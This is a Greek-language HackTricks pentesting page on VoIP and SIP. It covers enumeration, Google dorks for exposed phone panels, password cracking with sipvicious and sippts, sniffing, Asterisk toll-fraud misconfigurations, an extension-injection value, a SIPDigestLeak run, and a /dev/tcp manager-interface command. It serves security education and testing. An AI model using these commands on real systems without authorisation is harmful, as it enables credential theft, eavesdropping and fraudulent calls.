# Pentesting VoIP {{#include ../../banners/hacktricks-training.md}} ## VoIP Βασικές Πληροφορίες Για να ξεκινήσετε να μάθετε πώς λειτουργεί το VoIP, ελέγξτε: {{#ref}} basic-voip-protocols/ {{#endref}} ## Βασικά Μηνύματα ``` Request name Description RFC references ------------------------------------------------------------------------------------------------------ REGISTER Register a SIP user. RFC 3261 INVITE Initiate a dialog for establishing a call. RFC 3261 ACK Confirm that an entity has received. RFC 3261 BYE Signal termination of a dialog and end a call. RFC 3261 CANCEL Cancel any pending request. RFC 3261 UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311 REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515 PRACK Provisional acknowledgement. RFC 3262 SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665 NOTIFY Inform a subscriber of notifications of a new event. RFC 6665 PUBLISH Publish an event to a notification server. RFC 3903 MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428 INFO Send mid-session information that does not modify the session state. RFC 6086 OPTIONS Query the capabilities of an endpoint RFC 3261 ``` ## Response Codes **1xx—Προσωρινές Απαντήσεις** ``` 100 Trying 180 Ringing 181 Call is Being Forwarded 182 Queued 183 Session Progress 199 Early Dialog Terminated ``` **2xx—Επιτυχείς Αντιδράσεις** ``` 200 OK 202 Accepted 204 No Notification ``` **3xx—Απαντήσεις Ανακατεύθυνσης** ``` 300 Multiple Choices 301 Moved Permanently 302 Moved Temporarily 305 Use Proxy 380 Alternative Service ``` **4xx—Αποτυχίες Αντίκτυπου Πελάτη** ``` 400 Bad Request 401 Unauthorized 402 Payment Required 403 Forbidden 404 Not Found 405 Method Not Allowed 406 Not Acceptable 407 Proxy Authentication Required 408 Request Timeout 409 Conflict 410 Gone 411 Length Required 412 Conditional Request Failed 413 Request Entity Too Large 414 Request-URI Too Long 415 Unsupported Media Type 416 Unsupported URI Scheme 417 Unknown Resource-Priority 420 Bad Extension 421 Extension Required 422 Session Interval Too Small 423 Interval Too Brief 424 Bad Location Information 425 Bad Alert Message 428 Use Identity Header 429 Provide Referrer Identity 430 Flow Failed 433 Anonymity Disallowed 436 Bad Identity-Info 437 Unsupported Certificate 438 Invalid Identity Header 439 First Hop Lacks Outbound Support 440 Max-Breadth Exceeded 469 Bad Info Package 470 Consent Needed 480 Temporarily Unavailable 481 Call/Transaction Does Not Exist 482 Loop Detected 483 Too Many Hops 484 Address Incomplete 485 Ambiguous 486 Busy Here 487 Request Terminated 488 Not Acceptable Here 489 Bad Event 491 Request Pending 493 Undecipherable 494 Security Agreement Required ``` **5xx—Απαντήσεις Αποτυχίας Διακομιστή** ``` 500 Internal Server Error 501 Not Implemented 502 Bad Gateway 503 Service Unavailable 504 Server Time-out 505 Version Not Supported 513 Message Too Large 555 Push Notification Service Not Supported 580 Precondition Failure ``` **6xx—Παγκόσμιες Αποτυχίες Αντιδράσεων** ``` 600 Busy Everywhere 603 Decline 604 Does Not Exist Anywhere 606 Not Acceptable 607 Unwanted 608 Rejected ``` ## VoIP Enumeration ### Telephone Numbers Ένα από τα πρώτα βήματα που θα μπορούσε να κάνει μια Red Team είναι να αναζητήσει διαθέσιμους αριθμούς τηλεφώνου για να επικοινωνήσει με την εταιρεία χρησιμοποιώντας εργαλεία OSINT, αναζητήσεις στο Google ή scraping ιστοσελίδων. Αφού έχετε τους αριθμούς τηλεφώνου, μπορείτε να χρησιμοποιήσετε διαδικτυακές υπηρεσίες για να προσδιορίσετε τον πάροχο: - [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis&sub=phonenr) - [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) - [https://www.whitepages.com/](https://www.whitepages.com/) - [https://www.twilio.com/lookup](https://www.twilio.com/lookup) Γνωρίζοντας αν ο πάροχος παρέχει υπηρεσίες VoIP, μπορείτε να προσδιορίσετε αν η εταιρεία χρησιμοποιεί VoIP... Επιπλέον, είναι πιθανό ότι η εταιρεία δεν έχει προσλάβει υπηρεσίες VoIP αλλά χρησιμοποιεί κάρτες PSTN για να συνδέσει το δικό της VoIP PBX με το παραδοσιακό τηλεφωνικό δίκτυο. Πράγματα όπως οι αυτοματοποιημένες απαντήσεις μουσικής συνήθως υποδεικνύουν ότι χρησιμοποιείται VoIP. ### Google Dorks ```bash # Grandstream phones intitle:"Grandstream Device Configuration" Password intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org # Cisco Callmanager inurl:"ccmuser/logon.asp" intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button" # Cisco phones inurl:"NetworkConfiguration" cisco # Linksys phones intitle:"Sipura SPA Configuration" # Snom phones intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm # Polycom SoundPoint IP & phones intitle:"SoundPoint IP Configuration Utility - Registration" "Welcome to Polycom Web Configuration Utility" "Login as" "Password" intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm" intitle:"Polycom Login" inurl:"/login.html" intitle:"Polycom Login" -.com # Elastix intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL" # FreePBX inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration" ``` ### OSINT πληροφορίες Οποιαδήποτε άλλη OSINT αρίθμηση που βοηθά στην αναγνώριση του λογισμικού VoIP που χρησιμοποιείται θα είναι χρήσιμη για μια Red Team. ### Αρίθμηση Δικτύου - **`nmap`** είναι ικανό να σαρώσει υπηρεσίες UDP, αλλά λόγω του αριθμού των υπηρεσιών UDP που σαρώνονται, είναι πολύ αργό και μπορεί να μην είναι πολύ ακριβές με αυτόν τον τύπο υπηρεσιών. ```bash sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 ``` - **`svmap`** από το SIPVicious (`sudo apt install sipvicious`): Θα εντοπίσει υπηρεσίες SIP στο υποδεικνυόμενο δίκτυο. - `svmap` είναι **εύκολο να μπλοκαριστεί** επειδή χρησιμοποιεί τον User-Agent `friendly-scanner`, αλλά θα μπορούσατε να τροποποιήσετε τον κώδικα από το `/usr/share/sipvicious/sipvicious` και να τον αλλάξετε. ```bash # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` - **`SIPPTS scan`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Η σάρωση SIPPTS είναι ένας πολύ γρήγορος σαρωτής για υπηρεσίες SIP μέσω UDP, TCP ή TLS. Χρησιμοποιεί πολλαπλά νήματα και μπορεί να σαρώσει μεγάλες περιοχές δικτύων. Επιτρέπει την εύκολη ένδειξη μιας περιοχής θυρών, τη σάρωση τόσο TCP όσο και UDP, τη χρήση άλλης μεθόδου (κατά προεπιλογή θα χρησιμοποιήσει OPTIONS) και την καθορισμένη διαφορετική User-Agent (και άλλα). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] [!] IP/Network: 10.10.0.0/24 [!] Port range: 5060-5080 [!] Protocol: UDP, TCP, TLS [!] Method to scan: REGISTER [!] Customized User-Agent: Cisco [!] Used threads: 200 ``` - **metasploit**: ``` auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP) auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP) ``` #### Extra Network Enumeration Ο PBX θα μπορούσε επίσης να εκθέτει άλλες υπηρεσίες δικτύου όπως: - **69/UDP (TFTP)**: Ενημερώσεις υλικολογισμικού - **80 (HTTP) / 443 (HTTPS)**: Για τη διαχείριση της συσκευής από το διαδίκτυο - **389 (LDAP)**: Εναλλακτική αποθήκευση πληροφοριών χρηστών - **3306 (MySQL)**: Βάση δεδομένων MySQL - **5038 (Manager)**: Επιτρέπει τη χρήση του Asterisk από άλλες πλατφόρμες - **5222 (XMPP)**: Μηνύματα χρησιμοποιώντας Jabber - Και άλλες... ### Methods Enumeration Είναι δυνατόν να βρείτε **ποιοι μέθοδοι είναι διαθέσιμοι** για χρήση στο PBX χρησιμοποιώντας `SIPPTS enumerate` από [**sippts**](https://github.com/Pepelux/sippts) ```bash sippts enumerate -i 10.10.0.10 ``` ### Ανάλυση απαντήσεων διακομιστή Είναι πολύ σημαντικό να αναλύουμε τις κεφαλίδες που μας στέλνει πίσω ένας διακομιστής, ανάλογα με τον τύπο του μηνύματος και των κεφαλίδων που στέλνουμε. Με το `SIPPTS send` από [**sippts**](https://github.com/Pepelux/sippts) μπορούμε να στείλουμε εξατομικευμένα μηνύματα, χειριζόμενοι όλες τις κεφαλίδες, και να αναλύσουμε την απάντηση. ```bash sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp ``` Είναι επίσης δυνατό να αποκτήσουμε δεδομένα αν ο διακομιστής χρησιμοποιεί websockets. Με το `SIPPTS wssend` από [**sippts**](https://github.com/Pepelux/sippts) μπορούμε να στείλουμε εξατομικευμένα μηνύματα WS. ```bash sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Extension Enumeration Οι εσωτερικές γραμμές σε ένα σύστημα PBX (Private Branch Exchange) αναφέρονται στους **μοναδικούς εσωτερικούς αναγνωριστικούς αριθμούς που αποδίδονται σε μεμονωμένες** τηλεφωνικές γραμμές, συσκευές ή χρήστες εντός ενός οργανισμού ή επιχείρησης. Οι εσωτερικές γραμμές καθιστούν δυνατή την **αποτελεσματική δρομολόγηση κλήσεων εντός του οργανισμού**, χωρίς την ανάγκη για μεμονωμένους εξωτερικούς τηλεφωνικούς αριθμούς για κάθε χρήστη ή συσκευή. - **`svwar`** από το SIPVicious (`sudo apt install sipvicious`): `svwar` είναι ένας δωρεάν σαρωτής γραμμών SIP PBX. Στην έννοια του λειτουργεί παρόμοια με τους παραδοσιακούς wardialers, **μαντεύοντας μια σειρά εσωτερικών γραμμών ή μια δεδομένη λίστα εσωτερικών γραμμών**. ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` - **`SIPPTS exten`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS exten αναγνωρίζει τις επεκτάσεις σε έναν διακομιστή SIP. Το Sipexten μπορεί να ελέγξει μεγάλες περιοχές δικτύου και θυρών. ```bash sippts exten -i 10.10.0.10 -r 5060 -e 100-200 ``` - **metasploit**: Μπορείτε επίσης να καταγράψετε επεκτάσεις/ονόματα χρηστών με το metasploit: ``` auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` - **`enumiax` (`apt install enumiax`): enumIAX** είναι ένας πρωτόκολλο Inter Asterisk Exchange **enumerator brute-force ονομάτων χρήστη**. Το enumIAX μπορεί να λειτουργήσει σε δύο διακριτές λειτουργίες: Sequential Username Guessing ή Dictionary Attack. ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 ``` ## VoIP Επιθέσεις ### Password Brute-Force - online Αφού ανακαλύψετε το **PBX** και μερικά **extensions/usernames**, μια ομάδα Red Team θα μπορούσε να προσπαθήσει να **αυθεντικοποιηθεί μέσω της μεθόδου `REGISTER`** σε ένα extension χρησιμοποιώντας ένα λεξικό κοινών κωδικών πρόσβασης για να σπάσει την αυθεντικοποίηση. > [!CAUTION] > Σημειώστε ότι ένα **username** μπορεί να είναι το ίδιο με το extension, αλλά αυτή η πρακτική μπορεί να διαφέρει ανάλογα με το σύστημα PBX, τη διαμόρφωσή του και τις προτιμήσεις του οργανισμού... > > Εάν το username δεν είναι το ίδιο με το extension, θα χρειαστεί να **καταλάβετε το username για να το σπάσετε**. - **`svcrack`** από το SIPVicious (`sudo apt install sipvicious`): Το SVCrack σας επιτρέπει να σπάσετε τον κωδικό πρόσβασης για ένα συγκεκριμένο username/extension σε ένα PBX. ```bash svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` - **`SIPPTS rcrack`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rcrack είναι ένας απομακρυσμένος αποκωδικοποιητής κωδικών πρόσβασης για υπηρεσίες SIP. Ο rcrack μπορεί να δοκιμάσει κωδικούς πρόσβασης για αρκετούς χρήστες σε διάφορες διευθύνσεις IP και εύρη θυρών. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` - **Metasploit**: - [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb) - [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb) ### VoIP Sniffing Αν βρείτε εξοπλισμό VoIP μέσα σε ένα **Open Wifi network**, μπορείτε να **sniff all the information**. Επιπλέον, αν βρίσκεστε μέσα σε ένα πιο κλειστό δίκτυο (συνδεδεμένο μέσω Ethernet ή προστατευμένου Wifi) μπορείτε να εκτελέσετε **MitM attacks such as** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) μεταξύ του **PBX και της πύλης** προκειμένου να sniff την πληροφορία. Ανάμεσα στις πληροφορίες του δικτύου, μπορείτε να βρείτε **web credentials** για να διαχειριστείτε τον εξοπλισμό, **extensions** χρηστών, **username**, **IP** διευθύνσεις, ακόμη και **hashed passwords** και **RTP packets** που μπορείτε να αναπαράγετε για να **hear the conversation**, και άλλα. Για να αποκτήσετε αυτές τις πληροφορίες μπορείτε να χρησιμοποιήσετε εργαλεία όπως το Wireshark, tcpdump... αλλά ένα **specially created tool to sniff VoIP conversations is** [**ucsniff**](https://github.com/Seabreg/ucsniff). > [!CAUTION] > Σημειώστε ότι αν **TLS is used in the SIP communication** δεν θα μπορείτε να δείτε την SIP επικοινωνία καθαρά.\ > Το ίδιο θα συμβεί αν χρησιμοποιούνται **SRTP** και **ZRTP**, **RTP packets won't be in clear text**. #### SIP credentials (Password Brute-Force - offline) [Check this example to understand better a **SIP REGISTER communication**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) για να μάθετε πώς αποστέλλονται οι **credentials**. - **`sipdump`** & **`sipcrack`,** μέρος του **sipcrack** (`apt-get install sipcrack`): Αυτά τα εργαλεία μπορούν να **extract** από ένα **pcap** τις **digest authentications** μέσα στο πρωτόκολλο SIP και να τις **bruteforce**. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` - **`SIPPTS dump`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dump μπορεί να εξάγει διαπιστευτήρια αυθεντικοποίησης από ένα αρχείο pcap. ```bash sippts dump -f capture.pcap -o data.txt ``` - **`SIPPTS dcrack`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dcrack είναι ένα εργαλείο για να σπάσει τις αυθεντικοποιήσεις digest που αποκτήθηκαν με το SIPPTS dump. ```bash sippts dcrack -f data.txt -w wordlist/rockyou.txt ``` - **`SIPPTS tshark`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS tshark εξάγει δεδομένα του πρωτοκόλλου SIP από ένα αρχείο PCAP. ```bash sippts tshark -f capture.pcap [-filter auth] ``` #### DTMF κωδικοί **Όχι μόνο τα SIP διαπιστευτήρια** μπορούν να βρεθούν στην κίνηση του δικτύου, είναι επίσης δυνατό να βρεθούν DTMF κωδικοί που χρησιμοποιούνται για παράδειγμα για την πρόσβαση στο **φωνητικό ταχυδρομείο**.\ Είναι δυνατό να σταλούν αυτοί οι κωδικοί σε **INFO SIP μηνύματα**, σε **ήχο** ή μέσα σε **RTP πακέτα**. Αν οι κωδικοί είναι μέσα σε RTP πακέτα, θα μπορούσατε να κόψετε αυτό το μέρος της συνομιλίας και να χρησιμοποιήσετε το εργαλείο multimo για να τους εξάγετε: ```bash multimon -a DTMF -t wac pin.wav ``` ### Δωρεάν Κλήσεις / Λάθη Ρυθμίσεων Συνδέσεων Asterisks Στο Asterisk είναι δυνατόν να επιτραπεί μια σύνδεση **από μια συγκεκριμένη διεύθυνση IP** ή από **οποιαδήποτε διεύθυνση IP**: ``` host=10.10.10.10 host=dynamic ``` Αν καθοριστεί μια διεύθυνση IP, ο υπολογιστής **δεν θα χρειάζεται να στέλνει αιτήματα REGISTER** κάθε λίγο και λιγάκι (στο πακέτο REGISTER αποστέλλεται ο χρόνος ζωής, συνήθως 30 λεπτά, που σημαίνει ότι σε άλλη περίπτωση το τηλέφωνο θα χρειάζεται να REGISTER κάθε 30 λεπτά). Ωστόσο, θα πρέπει να έχει ανοιχτές θύρες που να επιτρέπουν συνδέσεις από τον VoIP διακομιστή για να δέχεται κλήσεις. Για να οριστούν οι χρήστες μπορούν να οριστούν ως: - **`type=user`**: Ο χρήστης μπορεί να δέχεται κλήσεις μόνο ως χρήστης. - **`type=friend`**: Είναι δυνατή η πραγματοποίηση κλήσεων ως peer και η λήψη τους ως χρήστης (χρησιμοποιείται με επεκτάσεις) - **`type=peer`**: Είναι δυνατή η αποστολή και λήψη κλήσεων ως peer (SIP-trunks) Είναι επίσης δυνατή η establishment εμπιστοσύνης με την ανασφαλή μεταβλητή: - **`insecure=port`**: Επιτρέπει τις συνδέσεις peer που επικυρώνονται από IP. - **`insecure=invite`**: Δεν απαιτεί αυθεντικοποίηση για τα μηνύματα INVITE - **`insecure=port,invite`**: Και τα δύο > [!WARNING] > Όταν χρησιμοποιείται **`type=friend`**, η **τιμή** της μεταβλητής **host** **δεν θα χρησιμοποιηθεί**, οπότε αν ένας διαχειριστής **παραμετροποιήσει λανθασμένα ένα SIP-trunk** χρησιμοποιώντας αυτή την τιμή, **οποιοσδήποτε θα μπορεί να συνδεθεί σε αυτό**. > > Για παράδειγμα, αυτή η διαμόρφωση θα ήταν ευάλωτη:\ > `host=10.10.10.10`\ > `insecure=port,invite`\ > `type=friend` ### Δωρεάν Κλήσεις / Λανθασμένες Διαμορφώσεις Πλαισίου Asterisks Στο Asterisk, ένα **context** είναι ένα ονομαστικό δοχείο ή τμήμα στο σχέδιο κλήσεων που **ομαδοποιεί σχετικές επεκτάσεις, ενέργειες και κανόνες**. Το σχέδιο κλήσεων είναι το κύριο συστατικό ενός συστήματος Asterisk, καθώς καθορίζει **πώς διαχειρίζονται και δρομολογούνται οι εισερχόμενες και εξερχόμενες κλήσεις**. Τα contexts χρησιμοποιούνται για την οργάνωση του σχεδίου κλήσεων, τη διαχείριση ελέγχου πρόσβασης και την παροχή διαχωρισμού μεταξύ διαφορετικών τμημάτων του συστήματος. Κάθε context ορίζεται στο αρχείο διαμόρφωσης, συνήθως στο αρχείο **`extensions.conf`**. Τα contexts δηλώνονται με αγκύλες, με το όνομα του context να περιβάλλεται από αυτές. Για παράδειγμα: ```bash csharpCopy code[my_context] ``` Μέσα στο πλαίσιο, ορίζετε τις εκτάσεις (μοτίβα αριθμών που καλούνται) και τις συνδέετε με μια σειρά ενεργειών ή εφαρμογών. Αυτές οι ενέργειες καθορίζουν πώς επεξεργάζεται η κλήση. Για παράδειγμα: ```scss [my_context] exten => 100,1,Answer() exten => 100,n,Playback(welcome) exten => 100,n,Hangup() ``` Αυτό το παράδειγμα δείχνει ένα απλό πλαίσιο που ονομάζεται "my_context" με μια επέκταση "100". Όταν κάποιος καλέσει το 100, η κλήση θα απαντηθεί, θα αναπαραχθεί ένα μήνυμα καλωσορίσματος και στη συνέχεια η κλήση θα τερματιστεί. Αυτό είναι **ένα άλλο πλαίσιο** που επιτρέπει **να καλέσετε οποιονδήποτε άλλο αριθμό**: ```scss [external] exten => _X.,1,Dial(SIP/trunk/${EXTEN}) ``` Αν ο διαχειριστής ορίσει το **default context** ως: ``` [default] include => my_context include => external ``` > [!WARNING] > Οποιοσδήποτε θα μπορεί να χρησιμοποιήσει τον **server για να καλέσει οποιονδήποτε άλλο αριθμό** (και ο διαχειριστής του server θα πληρώσει για την κλήση). > [!CAUTION] > Επιπλέον, από προεπιλογή το **`sip.conf`** αρχείο περιέχει **`allowguest=true`**, τότε **οποιοσδήποτε** επιτιθέμενος χωρίς **καμία αυθεντικοποίηση** θα μπορεί να καλέσει οποιονδήποτε άλλο αριθμό. - **`SIPPTS invite`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS invite ελέγχει αν ένας **server PBX μας επιτρέπει να κάνουμε κλήσεις χωρίς αυθεντικοποίηση**. Αν ο SIP server έχει λανθασμένη ρύθμιση, θα μας επιτρέψει να κάνουμε κλήσεις σε εξωτερικούς αριθμούς. Μπορεί επίσης να μας επιτρέψει να μεταφέρουμε την κλήση σε έναν δεύτερο εξωτερικό αριθμό. Για παράδειγμα, αν ο server Asterisk σας έχει κακή ρύθμιση περιβάλλοντος, μπορείτε να αποδεχθείτε αίτημα INVITE χωρίς εξουσιοδότηση. Σε αυτή την περίπτωση, ένας επιτιθέμενος μπορεί να κάνει κλήσεις χωρίς να γνωρίζει κανένα χρήστη/κωδικό. ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v # Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444. sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` ### Δωρεάν κλήσεις / Κακώς ρυθμισμένα IVRS IVRS σημαίνει **Σύστημα Διαδραστικής Φωνητικής Απόκρισης**, μια τεχνολογία τηλεφωνίας που επιτρέπει στους χρήστες να αλληλεπιδρούν με ένα υπολογιστικό σύστημα μέσω φωνητικών ή τόνων αφής εισόδων. Το IVRS χρησιμοποιείται για την κατασκευή **αυτοματοποιημένων συστημάτων διαχείρισης κλήσεων** που προσφέρουν μια σειρά από λειτουργίες, όπως η παροχή πληροφοριών, η δρομολόγηση κλήσεων και η καταγραφή εισόδων χρηστών. Το IVRS σε συστήματα VoIP συνήθως αποτελείται από: 1. **Φωνητικές προτροπές**: Προηχογραφημένα ηχητικά μηνύματα που καθοδηγούν τους χρήστες μέσα από τις επιλογές και τις οδηγίες του μενού IVR. 2. **DTMF** (Dual-Tone Multi-Frequency) σήμανση: Εισόδους τόνων αφής που παράγονται με την πίεση πλήκτρων στο τηλέφωνο, οι οποίες χρησιμοποιούνται για την πλοήγηση στα μενού IVR και την παροχή εισόδου. 3. **Δρομολόγηση κλήσεων**: Κατεύθυνση κλήσεων στον κατάλληλο προορισμό, όπως συγκεκριμένα τμήματα, πράκτορες ή εσωτερικούς αριθμούς βάσει της εισόδου του χρήστη. 4. **Καταγραφή εισόδου χρήστη**: Συλλογή πληροφοριών από τους καλούντες, όπως αριθμούς λογαριασμών, αναγνωριστικά περιπτώσεων ή οποιαδήποτε άλλη σχετική δεδομένα. 5. **Ενσωμάτωση με εξωτερικά συστήματα**: Σύνδεση του συστήματος IVR με βάσεις δεδομένων ή άλλα λογισμικά συστήματα για την πρόσβαση ή την ενημέρωση πληροφοριών, την εκτέλεση ενεργειών ή την ενεργοποίηση γεγονότων. Σε ένα σύστημα VoIP Asterisk, μπορείτε να δημιουργήσετε ένα IVR χρησιμοποιώντας το σχέδιο κλήσεων (**`extensions.conf`** αρχείο) και διάφορες εφαρμογές όπως `Background()`, `Playback()`, `Read()`, και άλλα. Αυτές οι εφαρμογές σας βοηθούν να αναπαράγετε φωνητικές προτροπές, να καταγράφετε εισόδους χρηστών και να ελέγχετε τη ροή των κλήσεων. #### Παράδειγμα ευάλωτης ρύθμισης ```scss exten => 0,100,Read(numbers,the_call,,,,5) exten => 0,101,GotoIf("$[${numbers}"="1"]?200) exten => 0,102,GotoIf("$[${numbers}"="2"]?300) exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` Ο προηγούμενος είναι ένα παράδειγμα όπου ο χρήστης ζητείται να **πατήσει 1 για να καλέσει** ένα τμήμα, **2 για να καλέσει** ένα άλλο, ή **τον πλήρη αριθμό** αν τον γνωρίζει.\ Η ευπάθεια είναι το γεγονός ότι το υποδεικνυόμενο **μήκος αριθμού δεν ελέγχεται, οπότε ένας χρήστης θα μπορούσε να εισάγει τον χρόνο αναμονής 5 δευτερολέπτων ενός πλήρους αριθμού και αυτός θα καλεστεί.** ### Extension Injection Χρησιμοποιώντας έναν αριθμό όπως: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` Όπου **`${EXTEN}`** είναι η **επέκταση** που θα καλεστεί, όταν **εισαχθεί η ext 101** αυτό είναι που θα συμβεί: ```scss exten => 101,1,Dial(SIP/101) ``` Ωστόσο, αν **`${EXTEN}`** επιτρέπει την εισαγωγή **περισσότερων από αριθμούς** (όπως σε παλαιότερες εκδόσεις του Asterisk), ένας επιτιθέμενος θα μπορούσε να εισάγει **`101&SIP123123123`** για να καλέσει τον αριθμό τηλεφώνου 123123123. Και αυτό θα ήταν το αποτέλεσμα: ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` Επομένως, μια κλήση στην επέκταση **`101`** και **`123123123`** θα σταλεί και μόνο η πρώτη που θα λάβει την κλήση θα καθοριστεί... αλλά αν ένας επιτιθέμενος χρησιμοποιήσει μια **επέκταση που παρακάμπτει οποιαδήποτε αντιστοίχιση** που εκτελείται αλλά δεν υπάρχει, θα μπορούσε να **εισάγει μια κλήση μόνο στον επιθυμητό αριθμό**. ## Ευπάθεια SIPDigestLeak Η ευπάθεια SIP Digest Leak είναι μια ευπάθεια που επηρεάζει έναν μεγάλο αριθμό SIP Phones, συμπεριλαμβανομένων τόσο υλικών όσο και λογισμικών IP Phones καθώς και προσαρμογέων τηλεφώνου (VoIP σε αναλογικό). Η ευπάθεια επιτρέπει **διαρροή της απάντησης πιστοποίησης Digest**, η οποία υπολογίζεται από τον κωδικό πρόσβασης. Μια **επίθεση κωδικού πρόσβασης εκτός σύνδεσης είναι στη συνέχεια δυνατή** και μπορεί να ανακτήσει τους περισσότερους κωδικούς πρόσβασης με βάση την απάντηση πρόκλησης. **[Σενάριο ευπάθειας από εδώ**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): 1. Ένα IP Phone (θύμα) ακούει σε οποιαδήποτε θύρα (για παράδειγμα: 5060), αποδεχόμενο τηλεφωνικές κλήσεις 2. Ο επιτιθέμενος στέλνει μια INVITE στο IP Phone 3. Το τηλέφωνο του θύματος αρχίζει να χτυπά και κάποιος το σηκώνει και το κλείνει (επειδή κανείς δεν απαντά στο τηλέφωνο στην άλλη άκρη) 4. Όταν το τηλέφωνο κλείνει, το **τηλέφωνο του θύματος στέλνει ένα BYE στον επιτιθέμενο** 5. Ο **επιτιθέμενος εκδίδει μια απάντηση 407** που **ζητάει πιστοποίηση** και εκδίδει μια πρόκληση πιστοποίησης 6. Το **τηλέφωνο του θύματος παρέχει μια απάντηση στην πρόκληση πιστοποίησης** σε ένα δεύτερο BYE 7. Ο **επιτιθέμενος μπορεί στη συνέχεια να εκδώσει μια επίθεση brute-force** στην απάντηση πρόκλησης στον τοπικό του υπολογιστή (ή σε κατανεμημένο δίκτυο κ.λπ.) και να μαντέψει τον κωδικό πρόσβασης - **SIPPTS leak** από [**sippts**](https://github.com/Pepelux/sippts)**:** Η διαρροή SIPPTS εκμεταλλεύεται την ευπάθεια SIP Digest Leak που επηρεάζει έναν μεγάλο αριθμό SIP Phones. Η έξοδος μπορεί να αποθηκευτεί σε μορφή SipCrack για να γίνει brute force χρησιμοποιώντας το SIPPTS dcrack ή το εργαλείο SipCrack. ```bash sippts leak -i 10.10.0.10 [!] Target: 10.10.0.10:5060/UDP [!] Caller: 100 [!] Callee: 100 [=>] Request INVITE [<=] Response 100 Trying [<=] Response 180 Ringing [<=] Response 200 OK [=>] Request ACK ... waiting for BYE ... [<=] Received BYE [=>] Request 407 Proxy Authentication Required [<=] Received BYE with digest [=>] Request 200 Ok Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5 ``` ### Click2Call Το Click2Call επιτρέπει σε έναν **χρήστη του διαδικτύου** (ο οποίος για παράδειγμα μπορεί να ενδιαφέρεται για ένα προϊόν) να **εισάγει** τον **αριθμό τηλεφώνου** του για να λάβει κλήση. Στη συνέχεια, θα γίνει μια κλήση σε έναν εμπορικό εκπρόσωπο, και όταν **σηκώσει το τηλέφωνο** ο χρήστης θα **καλέσει και θα συνδεθεί με τον πράκτορα**. Ένα κοινό προφίλ Asterisk για αυτό είναι: ```scss [web_user] secret = complex_password deny = 0.0.0.0/0.0.0.0 allow = 0.0.0.0/0.0.0.0 displayconnects = yes read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` - Το προηγούμενο προφίλ επιτρέπει **ΟΠΟΙΑΔΗΠΟΤΕ διεύθυνση IP να συνδεθεί** (αν είναι γνωστός ο κωδικός). - Για να **οργανωθεί μια κλήση**, όπως αναφέρθηκε προηγουμένως, **δεν απαιτούνται δικαιώματα ανάγνωσης** και **μόνο** **η προέλευση** σε **γραφή** είναι απαραίτητη. Με αυτά τα δικαιώματα, οποιαδήποτε IP γνωρίζει τον κωδικό θα μπορούσε να συνδεθεί και να εξάγει πάρα πολλές πληροφορίες, όπως: ```bash # Get all the peers exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 